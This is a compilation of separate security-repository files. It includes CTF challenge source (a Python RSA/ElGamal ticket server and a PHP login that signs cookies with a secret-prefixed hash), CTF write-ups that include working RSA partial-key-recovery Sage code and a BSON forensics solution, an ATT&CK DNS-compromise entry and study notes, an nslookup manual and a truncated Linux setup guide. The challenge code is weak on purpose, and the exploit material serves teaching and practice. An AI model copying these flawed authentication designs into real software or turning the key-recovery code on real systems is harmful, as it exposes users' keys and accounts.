print('welcome to Fantasy Terram') print(cry.rsa.e) print(cry.rsa.n) print(cry.elgamal.p) print(cry.elgamal.g) print(cry.elgamal.y) alarm(200) while True: choice = input("Please [r]egister or [l]ogin :>>") if not choice: break if choice[0] == 'r': r = randint(1, 3) # if r in(2, 3): # print('Sorry, you cannot register now. Good luck.') # exit() name = input('please input your username:>>') name = bytes(name, 'ISO-8859-1') if name == b'admin': tmp = input("please impurt admin's key:>>") if tmp != admin_k: print('Liar! Get out of here!') exit() else: print('Welcom admin!') with open('flag', 'r') as f: print(f.readline()) exit() msg = name + b'\x00' + bytes(admin_k, 'ISO-8859-1') if size(bytes_to_long(msg)) > 700: print('Too long username') continue msg = msg + urandom(120 - len(msg)) msg = bytes_to_long(msg) if msg % 2 == 1: msg += 1 sig = cry.sign(msg) ticket = cry.encrypt(msg) print(ticket) print(sig[0]) print(sig[1]) elif choice[0] == 'l': ticket = int(input('ticket:>>')) sig0 = int(input('sig[0]')) sig1 = int(input('sig[1]')) msg = cry.decrypt(ticket) if msg % 2 == 1: print('A bit is wrong, may be something is wrong.') continue if cry.verify(msg, (sig0, sig1)) == cry.verify(msg, (sig1, sig0)): print('Wrong signature!') msg = long_to_bytes(msg) name = msg.split(b'\x00')[0] print('Welcome!{}'.format(name)) else: break if __name__ == '__main__': main()
sec-knowleage
<?php require_once('./auth.php'); function do_hash($data) { $filename = tempnam(sys_get_temp_dir(), 'vhash'); file_put_contents($filename, $data); $hash = substr(`cat $filename | /home/ctf/vhash`, 0, 256); unlink($filename); return $hash; } function create_hmac($data) { return do_hash(SECRET . $data); } if(isset($_GET['action']) && $_GET['action'] === 'logout') { setcookie('auth', ''); header('Location: index.php'); } if(isset($_POST['username'])) { # Do pagey stuff if(is_valid($_POST['username'], $_POST['password'])) { # Create the cookie $cookie = 'username=' . $_POST['username'] . '&'; $cookie .= 'date=' . date(DATE_ISO8601) . '&'; $cookie .= 'secret_length=' . strlen(SECRET) . '&'; # Sign the cookie $cookie = create_hmac($cookie) . '|' . $cookie; setcookie('auth', $cookie); print "<h1>Login successful!</h1>\n"; print "<p>Setting cookie: <tt>auth=$cookie</tt></p>\n"; } else { print "<h1>Username or password was incorrect!</h1>\n"; } print "<p>Click <a href='index.php'>here</a> to continue!</p>\n"; exit(0); } if(!isset($_COOKIE['auth'])) { require_once('./login_form.php'); exit(0); } list($hmac, $cookie) = explode('|', $_COOKIE['auth'], 2); if(create_hmac($cookie) !== $hmac) { setcookie('auth', ''); print "<p>Something was wrong with your auth cookie!</p>\n"; print "<p>Click <a href='index.php'>here</a> to log in again!</p>\n"; exit(); } $pairs = explode('&', $cookie); $args = array(); foreach($pairs as $pair) { if(!strpos($pair, '=')) continue; list($name, $value) = explode('=', $pair, 2); $args[$name] = $value; } $username = $args['username']; print "<h1>Welcome back, $username!</h1>\n"; if($username == 'administrator') { print "<p>Congratulations, you're the administrator! Here's your reward:</p>\n"; print "<p>" . FLAG . "</p>\n"; } else { print "<p>It's cool that you logged in, but unfortunately we can only give the flag to 'administrator'. :(</p>\n"; } print "<p><a href='/index.php?action=logout'>Log out</a></p>\n"; ?>
sec-knowleage
## One Bad Son (Forensics, 127p) tl;dr get data from bson, concact flag png Supplied files: [One_Bad_Son](One_Bad_Son) It turns out that windbg formats binary data pretty well (cat/hexump/xxd output wasn't so clear): ![scr1](scr1.png) After some googling, the data turned out to be a [BSON](https://en.wikipedia.org/wiki/BSON), a format that's used mainly in MongoDB. Our first guess was to try to load the dump into mongo using a recovery tool, but that turned out to be pointless. Taking a step back, we've decided to convert the file to a standard JSON structured file using a python script. The file itself was broken and the parser would not work on it. We used a debugger to see how the library is parsing bson files and we noticed that it first tries to read 4 big endian byte number as record length. In our case there was only a single `0x0` byte instead. Therefore we checked how long is a single record (`0x72` bytes) and then attached the missing 3 bytes in the beginning of data so that the data starts with `0x72 0x00 0x00 0x00` (big endian!). With this we could make a script to dump all the data: ``` python import base64 import codecs import bson with codecs.open("./One_Bad_Son", "rb") as input_file: data = input_file.read() data = '\x72\x00\x00' + data loaded = bson.decode_all(data) with codecs.open("out.txt", "w") as output_file: output_file.write("[\n") for d in loaded: output_file.write(repr(d)+"\n") output_file.write("]\n") ``` This is how a single row looked like: `{u'raw': 100000000000000L, u'len': 2, u'dat': u'iVA=', u'crc': u'c0f36009', u'fname': u'flag', u'mtime': datetime.datetime(48652, 6, 24, 12, 40, 10, 460000), u'_id': u'0262404638'}` In reality we could have just as well written a parser `by hand`, since the structure was rather clear, but it turned out to be faster this way. What's interesting now, is that the base64 decoded `dat` data from first 2 rows (when data sorted by `raw` field) creates `PNG` string, so there's a png image encoded in that json! However some values from the `raw` field are duplicated so we had to make sure we use each chunk only once. We wrote a script to decode all unique `flag` rows sorted by their `raw` field: ``` python used_id = set() ordered = sorted(loaded, key=lambda di: int(di['raw'])) flag_data = [] for d in ordered: id = d['raw'] if id not in used_id and d['fname'] == 'flag': base = d['dat'] decoded = base64.b64decode(base) flag_data.append(decoded) used_id.add(id) with codecs.open("out.png", "wb") as output_file: output_file.write("".join(flag_data)) ``` And the output is: ![flag](flag.png)
sec-knowleage
## Still Broken Box (Crypto, 400p) ###ENG [PL](#pl-version) The task was very similar to https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/broken_box but this time we could not recover all the bits of the key. We could get only some fraction of LSB bits, but there is a theorem stating that we need only n/4 of the LSB bits to recover full key, as long as `e` is reasonably small. We used the same code as previously to mine faulty signatures and then to recover some bits of `d`. Then we applited mentioned theorem to recover the whole key. The recovery description can be found here: http://honors.cs.umd.edu/reports/lowexprsa.pdf We used the sage code: ```sage # partial_d.sage def partial_p(p0, kbits, n): PR.<x> = PolynomialRing(Zmod(n)) nbits = n.nbits() f = 2^kbits*x + p0 f = f.monic() roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3 if roots: x0 = roots[0] p = gcd(2^kbits*x0 + p0, n) return ZZ(p) def find_p(d0, kbits, e, n): X = var('X') for k in xrange(1, e+1): results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits) for x in results: p0 = ZZ(x[0]) p = partial_p(p0, kbits, n) if p: return p if __name__ == '__main__': print "start!" n = 123541066875660402939610015253549618669091153006444623444081648798612931426804474097249983622908131771026653322601466480170685973651622700515979315988600405563682920330486664845273165214922371767569956347920192959023447480720231820595590003596802409832935911909527048717061219934819426128006895966231433690709 e = 97 beta = 0.5 epsilon = beta^2/7 nbits = n.nbits() kbits = 300 d0 = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133 print "lower %d bits (of %d bits) is given" % (kbits, nbits) p = find_p(d0, kbits, e, n) print "found p: %d" % p ``` Which gave us the modulus factor `p`. With that we simply decrypted the flag using: ```python import gmpy2 def long_to_bytes(flag): flag = str(hex(flag))[2:-1] return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)]) p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 n = 123541066875660402939610015253549618669091153006444623444081648798612931426804474097249983622908131771026653322601466480170685973651622700515979315988600405563682920330486664845273165214922371767569956347920192959023447480720231820595590003596802409832935911909527048717061219934819426128006895966231433690709 q = n/p e = 97 assert p*q == n d = gmpy2.invert(e, (p-1)*(q-1)) flag = 96324328651790286788778856046571885085117129248440164819908629761899684992187199882096912386020351486347119102215930301618344267542238516817101594226031715106436981799725601978232124349967133056186019689358973953754021153934953745037828015077154740721029110650906574780619232691722849355713163780985059673037 pt = pow(flag, d, n) print(long_to_bytes(pt)) ``` and got `flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}` ###PL version Zadanie było bardzo podobne do https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/broken_box ale tym razem nie mogliśmy odzyskać wszystkich bitów klucza. Mogliśmy dostać jedynie część niskich bitów klucza, niemniej istnieje twierdzenie mówiące że wystarczy nam n/4 najniższych bitów do odzyskania całego klucza, o ile `e` jest względnie małe. Użyliśmy tego samego kodu co wcześniej aby pobrać błędne sygnatury i odzyskać niskie bity `d`. Następnie zastosowaliśmy wspomniane twierdzenie aby odzyskać cały klucz. Opis mechanizmu odzyskiwania klucza można znaleźć tu: http://honors.cs.umd.edu/reports/lowexprsa.pdf Użyliśmy kodu: ```sage # partial_d.sage def partial_p(p0, kbits, n): PR.<x> = PolynomialRing(Zmod(n)) nbits = n.nbits() f = 2^kbits*x + p0 f = f.monic() roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3 if roots: x0 = roots[0] p = gcd(2^kbits*x0 + p0, n) return ZZ(p) def find_p(d0, kbits, e, n): X = var('X') for k in xrange(1, e+1): results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits) for x in results: p0 = ZZ(x[0]) p = partial_p(p0, kbits, n) if p: return p if __name__ == '__main__': print "start!" n = 123541066875660402939610015253549618669091153006444623444081648798612931426804474097249983622908131771026653322601466480170685973651622700515979315988600405563682920330486664845273165214922371767569956347920192959023447480720231820595590003596802409832935911909527048717061219934819426128006895966231433690709 e = 97 beta = 0.5 epsilon = beta^2/7 nbits = n.nbits() kbits = 300 d0 = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133 print "lower %d bits (of %d bits) is given" % (kbits, nbits) p = find_p(d0, kbits, e, n) print "found p: %d" % p ``` Który dał nam czynnik `p` modulusa. Następnie po prostu zdeszyfrowaliśmy flagę: ```python import gmpy2 def long_to_bytes(flag): flag = str(hex(flag))[2:-1] return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)]) p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 n = 123541066875660402939610015253549618669091153006444623444081648798612931426804474097249983622908131771026653322601466480170685973651622700515979315988600405563682920330486664845273165214922371767569956347920192959023447480720231820595590003596802409832935911909527048717061219934819426128006895966231433690709 q = n/p e = 97 assert p*q == n d = gmpy2.invert(e, (p-1)*(q-1)) flag = 96324328651790286788778856046571885085117129248440164819908629761899684992187199882096912386020351486347119102215930301618344267542238516817101594226031715106436981799725601978232124349967133056186019689358973953754021153934953745037828015077154740721029110650906574780619232691722849355713163780985059673037 pt = pow(flag, d, n) print(long_to_bytes(pt)) ``` i dostalismy `flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}
sec-knowleage
# Writeup Volga CTF 2016 Quals Team: akrasuski1, nazywam, graszka22, c7f.m0d3, cr019283, mnmd21891, msm, other019, rev, shalom ### Table of contents * [YACS2 (PPC)](yacs2) * [Image Archeology (Admin)](image_archeology)
sec-knowleage
# T1584-002-盗取基础设施-DNS服务 ## 来自ATT&CK的描述 攻击者可能会盗取第三方DNS服务器,这些服务器可以在攻击目标期间使用。在破坏后的活动中,攻击者可能利用DNS流量进行各种任务,包括指挥和控制(例如:应用层协议)。攻击者可能不会建立自己的DNS服务器,而是利用第三方DNS服务器以支持行动。 通过盗取DNS服务器,攻击者可以改变DNS记录。这样的控制可以让一个组织的流量重新定向,为攻击者的收集和凭证访问工作提供便利。 攻击者也可以悄悄地创建指向恶意服务器的子域,而不向DNS服务器的实际所有者通风报信。 ## 测试案例 暂无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在防御团队(组织)的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,如在指挥和控制期间。 ## 参考推荐 MITRE-ATT&CK-T1584-002 <https://attack.mitre.org/techniques/T1584/002/>
sec-knowleage
nslookup === 查询域名DNS信息的工具 ## 补充说明 **nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。 nslookup有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。 在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息,此时也可以指定查询的DNS服务器。 进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。 ### 语法 ```shell nslookup(选项)(参数)(DNS服务器) ``` ### 选项 ```shell -sil:不显示任何警告信息。 ``` ### 参数 域名:指定要查询域名。 ### DNS服务器 不填的话采用默认域名服务器(即`/etc/resolv.conf`的第一个dns地址),填写DNS服务器IP的话,nslookup会向该域名服务器查询域名。 ### 实例 ```shell [root@localhost ~]# nslookup www.jsdig.com Server: 202.96.104.15 Address: 202.96.104.15#53 Non-authoritative answer: www.jsdig.com canonical name = host.1.jsdig.com. Name: host.1.jsdig.com Address: 100.42.212.8 [root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8 Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com. Name: www.sustech.edu.cn.w.cdngslb.com Address: 113.96.179.222 ```
sec-knowleage
--- title: MITRE ATT&CK实践入门 --- # MITRE ATT&CK实践入门 本篇是对[Getting Started with ATT&CK](https://www.mitre.org/sites/default/files/publications/mitre-getting-started-with-attack-october-2019.pdf)的学习笔记,整理了对应脑图。 相关资源: - 脑图xmind源文件:[链接](https://wiki.y1ng.org/assets/MITRE ATT&CK实践入门.xmind) - 脑图PDF版本:[链接](https://wiki.y1ng.org/assets/MITRE ATT&CK实践入门.pdf) - Getting Started with ATT&CK:[链接](https://wiki.y1ng.org/assets/mitre-getting-started-with-attack-october-2019.pdf) - 瀚思科技翻译版本:[链接](https://wiki.y1ng.org/assets/ATT&CK实践入门.pdf) ![image-20220521233721606](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20220521233721606.png) 图:ATT&CK实践入门脑图 ## 〇、概要 ### 围绕4个关键用例 - 网络威胁情报 - 检测与分析 - 对手模拟与红队 - 评估与工程 ### 以3个层次讲述 - 第一层:资源少的初始团队/新手 - 第二层:走向成熟的中等安全团队 - 第三层:拥有高级安全团队和更多资源的组织机构 ## 一、网络威胁情报 ### 第一层 - 查询已映射ATT&CK的开源报告 - 查询每个威胁组织的TTP和检测、缓解措施 ### 第二层 将自己的情报映射至ATT&CK,映射的具体步骤: - 理解ATT&CK(结构、定义) - 找出指标与行为 - e.g. 原子指标:IP - e.g. 行为:建立Socks5通讯 - 研究行为 - 将行为转译为战术(Tactics) - 确定行为里所应用的技术(Techniques) - 对比其他分析师的结果 ### 第三层 - 从更多数据源处进行映射 - 事件响应数据 - OSINT情报源 - 威胁情报订阅源 - 实时告警信息 - 组织历史信息 - 根据映射的ATT&CK信息来规划防御步骤 ## 二、检测与分析 ### 第一层 - 了解组织内拥有的数据源。可以对照ATT&CK中的DataSource部分进行收集。重要的一些数据源包括: - 进程及命令行监控 - 文件及注册表监控 - 身份验证日志 - 网络数据包捕获 - 收集数据并输入至SIEM - 测试数据集可参考:[Splunk Botsv2](https://github.com/splunk/botsv2) - 测试环境搭建可参考:[DetectionLab](https://github.com/clong/DetectionLab) - 观察他人创建的分析,应用到自己的数据上 - 适合初学者的分析案例:[CAR-2016-03-002](https://car.mitre.org/analytics/CAR-2016-03-002/) - 从分析到检测的完整流程: - 分析攻击技术 - 得出检测伪代码 - [编写SIEM查询语句](https://github.com/NVISOsecurity/sigma-public/blob/master/rules/windows/process_creation/win_susp_wmi_execution.yml) - 自动化 ### 第二层 - 编写自己的分析来扩展覆盖面,包括两方面: - 理解攻击机制 - 发现攻击在数据中的反应 - 具体实施 - 进行模拟攻击 - 使用工具:[Atomic Red Team](https://github.com/redcanaryco/) - 收集攻击的日志数据 - 使用工具:[DetectionLab](https://github.com/clong/DetectionLab) - 寻找指标并编写搜索语句 - 迭代分析流程: - 编写搜索语句检测恶意行为 - 修正搜索以减少误报 - 同时确保恶意行为的检出 ### 第三层 - 进行真实的红蓝对抗 - 在对抗中完善对不同攻击技术的检测策略 - 追踪检测策略的覆盖情况 - 使用工具:[ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - 例如使用颜色标注: - 红色:未覆盖 - 黄色:一定程度的覆盖 - 绿色:高完成度的覆盖 ### 相关资源 - [网络分析库 (CAR):MITRE 的分析库](https://car.mitre.org/) - [EQL: Endgame 的开源分析库](https://eqllib.readthedocs.io/en/latest/analytics.html) - [Sigma: 一种工具无关的分析格式,附带按此格式编写的分析库](https://github.com/Neo23x0/sigma) - [威胁猎手战术手册: 在日志数据中查找 ATT&CK 技术的策略库](https://github.com/OTRF/ThreatHunter-Playbook) - [原子红队 (Atomic Red Team)](https://github.com/redcanaryco/atomic-red-team) - [检测实验室 (Detection Lab)](https://github.com/clong/DetectionLab) - [BOTS: Splunk的Boss of the SOC数据集,含背景噪音和红队攻击](https://github.com/splunk/botsv2) - [BRAWL Public Game: MITRE 的红队数据集](https://github.com/mitre/brawl-public-game-001) - [ATT&CK Navigator: ATT&CK 矩阵数据可视化工具](https://mitre-attack.github.io/attack-navigator/) ## 三、对手仿真与红队 注:对手仿真(Adversary Emulation)与渗透测试等其他红队形式不同的是,前者在预先构造的场景下,使用特定的TTP、针对特征防御面进行攻击,模拟特定对手组织 ### 第一层 - 使用对手仿真工具模拟红队攻击 - [原子红队](https://github.com/redcanaryco/atomic-red-team) - [CALDERA](https://github.com/mitre/caldera) - 执行原子测试的周期: - 选择一个ATT&CK技术 - 选择一个针对该技术的测试 - 执行测试过程 - 分析检测过程 - 提高对抗能力 ### 第二层 - 阶段建议:当团队/组织具备红队功能时,将技术映射至ATT&CK - 重要案例:[APT3对手模拟手册](https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf) - 使用工具:Cobalt Strike / Empire已经映射到ATT&CK中 ### 第三层 - 阶段任务:与CTI团队合作,创建对手仿真任务 - 对手仿真的五个步骤 - 收集威胁情报:基于自身组织机构选择一个对手,与CTI团队合作分析该对手的TTP - 抽取技术:将红队操作映射至ATT&CK,便于红队进行攻击操作 - 分析与组织:基于对手及其操作方式的大量情报,抽取出对手的操作流程图 - 开发工具和程序:在知道红队做什么、怎么做之后,需要确定如何实现 - 模拟对手:红队与蓝队开始紧密合作,仿真对手TTP进行 - 相关资源:[APT3对手模拟手册](https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf) ## 四、评估与工程 ### 第一层 - 阶段建议:相比全面评估,更建议从小处入手 - 做法:选择一种技术,确定对此技术对覆盖率,进行适当工程强化后,开始检测此技术 ### 第二层 - 阶段建议:扩大技术的评估,使用ATT&CK覆盖热度图进行追踪 - 做法: - 技术覆盖度可分为高中低置信度 - 对检测工具进行迭代: - 工具在哪里运行:边界还是端点? - 工具检测的原理:静态指针还是行为检测? - 工具所监视的数据源:数据源类型可以推断所能检测的攻击技术 - 提升覆盖率主要过程: - 创建短期内需重点关注的技术列表 - 确保拉取正确数据以供分析 - 开始构建分析并更新覆盖图 ### 第三层 - 阶段建议:纳入缓解措施以强化评估 - [做法:参照ATT&CK缓解措施(Mitigation)进行引入、实现](https://attack.mitre.org/mitigations/) - 相关资源 - [ATT&CK Logging Cheat Sheet(可用于检测的Windows事件日志清单)](https://www.malwarearchaeology.com/cheat-sheets/) - [ATT&CK数据地图(Datamap)项目](https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11) - [Dett&CT框架](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) - [MITRE ATT&CK脚本](https://github.com/mitre-attack/attack-scripts/tree/master/scripts) - [基于ATT&CK分析发现网络威胁](https://www.mitre.org/sites/default/files/publications/16-3713-finding-cyber-threats%20with%20att&ck-based-analytics.pdf) - [ATT&CK缓解措施(ATT&CK Mitigation)](https://attack.mitre.org/mitigations/enterprise/)
sec-knowleage
# Power-Linux <p align="center"> <a href="https://www.pixiv.net/en/artworks/77495663"><img src="../../../assets/img/banner/Power-Linux.jpg" width="90%"></a> </p> <p align="center"> <a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/open-source.png" width="15%"></a> <a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/bash.png" width="15%"></a> </p> - `Linux 下各种常见服务的搭建/配置指南` - `大部分环境在 Centos7,少部分 Ubuntu` - `主要以安装搭建为主,近一步的配置请参考官方教程` --- ## 大纲 * **[🥩 常见工具](#常见工具)** * [Lvm](#lvm) * [Net](#net) * [RAID](#raid) * [Vim](#vim) * [Tmux](#tmux) * **[🍜 网络服务](#网络服务)** * [AdguardTeam](#adguardteam) * [butterfly](#butterfly) * [Cacti](#cacti) * [Chrony](#chrony) * [clash](#clash) * [cloud-torrent](#cloud-torrent) * [code-server](#code-server) * [DHCP](#dhcp) * [DNS](#dns) * [focalboard](#focalboard) * [frp](#frp) * [Kicktart](#kicktart) * [nps](#nps) * [OpenVPN](#openvpn) * [PowerDNS](#powerdns) * [PowerDNS-Admin](#powerdns-admin) * [proxychains-ng](#proxychains-ng) * [ss5](#ss5) * [SSH](#ssh) * [ttyd](#ttyd) * [vnc4server](#vnc4server) * **[🍦 web服务-中间件](#web服务-中间件)** * [ActiveMQ](#activemq) * [Apache_httpd](#apache_httpd) * [Caddy](#caddy) * [npm & Node](#npmnode) * [Nexus](#nexus) * [Nginx](#nginx) * [php-cli](#php-cli) * [phpMyAdmin](#phpmyadmin) * [RabbitMQ](#rabbitmq) * [searx](#searx) * [Tomcat](#tomcat) * [Wordpress](#wordpress) * [Mijisou](#mijisou) * **[🍉 数据库](#数据库)** * [Relational](#relational) * [Oracle](#oracle) * [Mariadb](#mariadb) * [MySQL](#mysql) * [Postgresql](#postgresql) * [Document](#document) * [MongoDB](#mongodb) * [Key-value](#key-value) * [Redis](#redis) * [Memcached](#Memcached) * [图形](#图形) * [Neo4j](#neo4j) * **[🍣 文件服务](#文件服务)** * [filebrowser](#filebrowser) * [NFS](#nfs) * [Samba](#samba) * [sharry](#sharry) * [Vsftp](#vsftp) * **[🍗 编程语言](#编程语言)** * [C](#c) * [Go](#go) * [JDK](#jdk) * [Perl](#perl) * [PHP](#php) * [Python3](#python3) * [pip](#pip) * [jupyterlab](#jupyterlab) * [Ruby](#ruby) * [Rust](#rust) * **[🍞 系统监管](#系统监管)** * [BaoTa](#baota) * [Jenkins](#jenkins) * [JumpServer](#jumpserver) * [Loganalyzer](#loganalyzer) * [Supervisor](#supervisor) * [Webmin](#webmin) * [Zabbix](#zabbix) * **[🌭 容器 & 虚拟化](#容器&虚拟化)** * [Docker](#docker) * [Docker-Compose](#docker-compose) * [Docker-Portainer](#docker-portainer) * [Kubernetes](#kubernetes) * [kubectl](#kubectl) * [QEMU](#qemu) * **[🥕 分布式](#分布式)** * [ZooKeeper](#zookeeper) * **[🍯 安全服务](#安全服务)** * [ClamAV](#clamav) * [Fail2Ban](#fail2ban) * [OpenLDAP](#openldap) * [PhpLdapAdmin](#phpldapadmin) * [Snort](#snort) * [Suricata](#suricata) * [tripwire](#tripwire) * **[🍷 设施配置](#设施配置)** * [f8x](#f8x) * [Terraform](#terraform) * **[🍥 各种依赖和报错](#各种依赖和报错)** * [LuaJIT](#luajit) --- ## 常见工具 ### Lvm > LVM 是 Logical Volume Manager 的缩写,中文一般翻译为 "逻辑卷管理",它是 Linux 下对磁盘分区进行管理的一种机制。LVM 是建立在磁盘分区和文件系统之间的一个逻辑层,系统管理员可以利用 LVM 在不重新对磁盘分区的情况下动态的调整分区的大小。如果系统新增了一块硬盘,通过 LVM 就可以将新增的硬盘空间直接扩展到原来的磁盘分区上。 ```bash fdisk -l # 查看磁盘情况 fdisk /dev/sdb # 创建系统分区 n p 1 后面都是默认,直接回车 t # 转换分区格式 8e w # 写入分区表 ``` **卷组** 创建一个名为 datastore 的卷组,卷组的 PE 尺寸为 16MB; ```bash pvcreate /dev/sdb1 # 初始化物理卷 vgcreate -s 16M datastore /dev/sdb1 # 创建物理卷 ``` **逻辑卷** 逻辑卷的名称为 database 所属卷组为 datastore,该逻辑卷由 50 个 PE 组成; ```bash lvcreate -l 50 -n database datastore ``` 逻辑卷的名称为 database 所属卷组为 datastore,该逻辑卷大小为 8GB; ```bash lvcreate -L 8G -n database datastore lvdisplay ``` **格式化** 将新建的逻辑卷格式化为 XFS 文件系统,要求在系统启动时能够自动挂在到 /mnt/database 目录. ```bash mkfs.xfs /dev/datastore/database mkdir /mnt/database ``` 添加挂载的配置 ```diff vim /etc/fstab + /dev/datastore/database /mnt/database/ xfs defaults 0 0 ``` 重启验证 ```bash shutdown -r now mount | grep '^/dev' ``` **扩容** 将 database 逻辑卷扩容至 15GB 空间大小,以满足业务需求. ```bash lvextend -L 15G /dev/datastore/database lvs # 确认有足够空间 resize2fs /dev/datastore/database lvdisplay ``` --- ### Net **centos 配置网卡** ```vim vim /etc/sysconfig/network-scripts/ifcfg-eth0 DEVICE="enoXXXXXX" BOOTPROTO=static # 使用静态 IP,而不是由 DHCP 分配 IP IPADDR=172.16.102.61 PREFIX=24 ONBOOT=yes GATEWAY=172.16.102.254 HOSTNAME=dns1.abc.com DNS1=223.5.5.5 ``` **修改主机名** ```diff vim /etc/hosts + 127.0.0.1 test localhost # 修改 localhost.localdomain 为 test,shutdown -r now 重启使修改生效 ``` **修改 DNS** ```diff vim /etc/resolv.conf - search localdomain + nameserver 8.8.8.8 ``` ```bash service network restart ``` --- ### RAID **安装** ```bash yum remove mdadm # 建议先把原本的卸掉重装 yum install -y mdadm ``` **分区** ```bash fdisk /dev/sdb n 创建 p 主分区 接下来一路回车选默认值 w 写入 fdisk /dev/sdc n 创建 p 主分区 接下来一路回车选默认值 w 写入 ``` **创建阵列** - RAID1 ```bash mdadm -Cv /dev/md0 -a yes -l1 -n2 /dev/sd[b,c]1 - -Cv: 创建一个阵列并打印出详细信息. - /dev/md0: 阵列名称. - -a : 同意创建设备,如不加此参数时必须先使用 mknod 命令来创建一个 RAID 设备,不过推荐使用 -a yes 参数一次性创建; - -l1 (l as in "level"): 指定阵列类型为 RAID-1 . - -n2: 指定我们将两个分区加入到阵列中去,分别为/dev/sdb1 和 /dev/sdc1 ``` - RAID5 ```bash mdadm -Cv /dev/md0 -a yes -l5 -n3 /dev/sd[b,c,d]1 cat /proc/mdstat # 查看进度 mdadm -D /dev/md0 # 获取阵列信息 ``` **格式化为 xfs** ```bash mkfs.xfs /dev/md0 ``` **以 UUID 的形式开机自动挂载** ```bash mkdir /data/ftp_data blkid /dev/md0 # 查 UUID 值 ``` ```diff vim /etc/fstab + UUID=XXXXXXXXXXXXXXXXXXXXXXXXXX /data/ftp_data xfs defaults 0 0 ``` ```bash shutdown -r now # 重启验证 mount | grep '^/dev' ``` --- ### Vim <p align="center"> <img src="../../../assets/img/logo/vim.svg" width="15%"> </p> > VIM 是 Linux 系统上一款文本编辑器,它是操作文本的一款利器。 **常用操作** ```bash Normal 模式下 i 进入 insert 模式 :wq # 存盘+退出 dd # 删除当前行,并存入剪切板 p # 粘贴 :q! # 强制退出 :wq! # 强制保存退出 :w !sudo tee % # 无 root 权限,保存编辑的文件 :saveas [path/to/file] # 另存为 按下 / 即可进入查找模式,输入要查找的字符串并按下回车. Vim 会跳转到第一个匹配.按下 n 查找下一个,按下 N 查找上一个. :%s/foo/bar # 代表替换 foo 为 bar :%!xxd # 十六进制编辑模式, :%!xxd -r 切回去 insert 模式按 ESC 键,返回 Normal 模式 ``` **常用配置** `vim /etc/vim/vimrc` 或 `vim /etc/vimrc` 最后面直接添加你想添加的配置,下面是一些常用的 (不建议直接复制这个或者网上的,要理解每个的含义及有什么用,根据自己需要来调整) ```bash set number # 显示行号 set nobackup # 覆盖文件时不备份 set cursorline # 突出显示当前行 set ruler # 在右下角显示光标位置的状态行 set shiftwidth=4 # 设定 > 命令移动时的宽度为 4 set softtabstop=4 # 使得按退格键时可以一次删掉 4 个空格 set tabstop=4 # 设定 tab 长度为 4(可以改) set smartindent # 开启新行时使用智能自动缩进 set ignorecase smartcase # 搜索时忽略大小写,但在有一个或以上大写字母时仍 保持对大小写敏感 下面这个在代码多的时候会比较好 #set showmatch # 插入括号时,短暂地跳转到匹配的对应括号 #set matchtime=2 # 短暂跳转到匹配括号的时间 ``` **使用 vim 对比文件** ```bash vimdiff FILE_LEFT FILE_RIGHT ``` **解决 ssh 后 vim 中不能使用小键盘的问题** - xshell 更改的方法: 在终端设置中选择终端类型为 linux - ubuntu ```bash apt-get remove vim-common apt-get install -y vim ``` **[SpaceVim](https://spacevim.org/cn/)** - 模块化的 Vim IDE **[how-to-exit-vim](https://github.com/hakluke/how-to-exit-vim)** - 退出 vim 的多种方式 --- ### Tmux - https://github.com/tmux/tmux **安装** ```bash # Ubuntu 或 Debian apt-get install -y tmux # CentOS 或 Fedora yum install -y tmux ``` **使用** ```bash tmux # 进入了 Tmux 窗口,底部有一个状态栏。状态栏的左侧是窗口信息(编号和名称),右侧是系统信息 # Ctrl+d 同下 exit # 退出 tmux info # 列出当前所有 Tmux 会话的信息 tmux source-file ~/.tmux.conf # 重新加载当前的 Tmux 配置 ``` **帮助信息** ```bash Ctrl+b ? # 显示帮助信息 Ctrl+b d # "最小化"tmux窗口 tmux list-commands # 列出所有 Tmux 命令及其参数 tmux list-keys # 列出所有快捷键,及其对应的 Tmux 命令 ``` **新建会话** ```bash tmux new -s test tmux new-session -s 'test' tmux new-session -s 'test' -d # 使用 -s 开关指定会话的名字为 test,使用 -d 开关使得创建后立即与其脱离。 ``` **分离会话** ```bash Ctrl+b d # 